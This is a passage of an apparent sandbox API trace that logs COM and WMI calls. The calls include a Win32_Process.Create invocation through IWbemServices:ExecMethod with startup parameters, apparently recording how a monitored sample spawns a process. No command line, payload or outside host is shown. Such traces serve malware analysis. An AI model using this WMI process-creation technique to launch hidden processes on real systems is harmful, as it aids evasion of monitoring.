pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0137.546] IUnknown:Release (This=0x1bc77048) returned 0x3 [0137.546] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0137.546] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0137.546] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0137.546] IUnknown:Release (This=0x1bc77040) returned 0x2 [0137.546] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0137.546] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0137.546] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0137.546] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0137.546] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0137.546] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0137.546] IUnknown:AddRef (This=0x1bc77040) returned 0x3 [0137.546] IWbemClassObject:Put (This=0x1aa197f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc77040, varVal2=0x0), Type=0) returned 0x0 [0137.547] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93df0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0137.547] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93df0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0137.547] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93df0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0137.547] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0137.547] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0137.547] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.547] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93df0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0137.547] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93df0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0137.547] IWbemServices:ExecMethod (in: This=0x1bc96040, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa197f0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa19aa0, ppCallResult=0x0) returned 0x0 [0137.642] IWbemClassObject:Get (in: This=0x1aa19aa0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891b18*=0, plFlavor=0x2891b1c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf68, varVal2=0x0), pType=0x2891b18*=19, plFlavor=0x2891b1c*=0) returned 0x0 [0137.642] IWbemClassObject:Get (in: This=0x1aa19aa0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891b18*=19, plFlavor=0x2891b1c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf68, varVal2=0x0), pType=0x2891b18*=19, plFlavor=0x2891b1c*=0) returned 0x0 [0137.644] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0137.644] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0137.644] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0137.645] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.647] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc89930) returned 0x0 [0137.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89930, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0137.647] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89930, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc94270) returned 0x0 [0137.647] WbemDefPath:IUnknown:Release (This=0x1bc89930) returned 0x0 [0137.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc94270) returned 0x0 [0137.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0137.648] WbemDefPath:IUnknown:AddRef (This=0x1bc94270) returned 0x3 [0137.648] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0137.648] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0137.648] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc89970) returned 0x0 [0137.648] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89970, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.648] WbemDefPath:IUnknown:Release (This=0x1bc89970) returned 0x3 [0137.648] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0137.648] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0137.648] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0137.648] WbemDefPath:IUnknown:Release (This=0x1bc94270) returned 0x2 [0137.648] WbemDefPath:IUnknown:Release (This=0x1bc94270) returned 0x1 [0137.648] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0137.648] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0137.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc94270) returned 0x0 [0137.649] WbemDefPath:IUnknown:AddRef (This=0x1bc94270) returned 0x3 [0137.649] WbemDefPath:IUnknown:Release (This=0x1bc94270) returned 0x2 [0137.649] WbemDefPath:IWbemPath:SetText (This=0x1bc94270, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0137.649] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94270, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0137.649] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94270, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0137.649] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94270, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0137.649] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94270, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0137.649] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94270, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0137.649] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94270, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0137.649] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0137.649] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0137.649] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0137.649] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.652] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc899b0) returned 0x0 [0137.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc899b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0137.652] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc899b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc94330) returned 0x0 [0137.652] WbemDefPath:IUnknown:Release (This=0x1bc899b0) returned 0x0 [0137.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc94330) returned 0x0 [0137.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0137.653] WbemDefPath:IUnknown:AddRef (This=0x1bc94330) returned 0x3 [0137.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0137.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0137.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc899f0) returned 0x0 [0137.653] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc899f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.653] WbemDefPath:IUnknown:Release (This=0x1bc899f0) returned 0x3 [0137.653] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0137.653] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0137.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0137.653] WbemDefPath:IUnknown:Release (This=0x1bc94330) returned 0x2 [0137.653] WbemDefPath:IUnknown:Release (This=0x1bc94330) returned 0x1 [0137.653] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0137.653] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0137.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc94330) returned 0x0 [0137.654] WbemDefPath:IUnknown:AddRef (This=0x1bc94330) returned 0x3 [0137.654] WbemDefPath:IUnknown:Release (This=0x1bc94330) returned 0x2 [0137.654] WbemDefPath:IWbemPath:SetText (This=0x1bc94330, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94330, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94330, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94330, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94330, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94330, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94330, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94330, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0137.654] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.654] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0137.654] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0137.654] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0137.654] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.656] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc89a30) returned 0x0 [0137.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89a30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0137.657] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89a30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc943f0) returned 0x0 [0137.657] WbemDefPath:IUnknown:Release (This=0x1bc89a30) returned 0x0 [0137.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc943f0) returned 0x0 [0137.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0137.657] WbemDefPath:IUnknown:AddRef (This=0x1bc943f0) returned 0x3 [0137.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0137.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0137.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc89a70) returned 0x0 [0137.657] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89a70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.657] WbemDefPath:IUnknown:Release (This=0x1bc89a70) returned 0x3 [0137.658] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0137.658] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0137.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0137.658] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x2 [0137.658] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x1 [0137.658] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0137.658] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0137.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc943f0) returned 0x0 [0137.658] WbemDefPath:IUnknown:AddRef 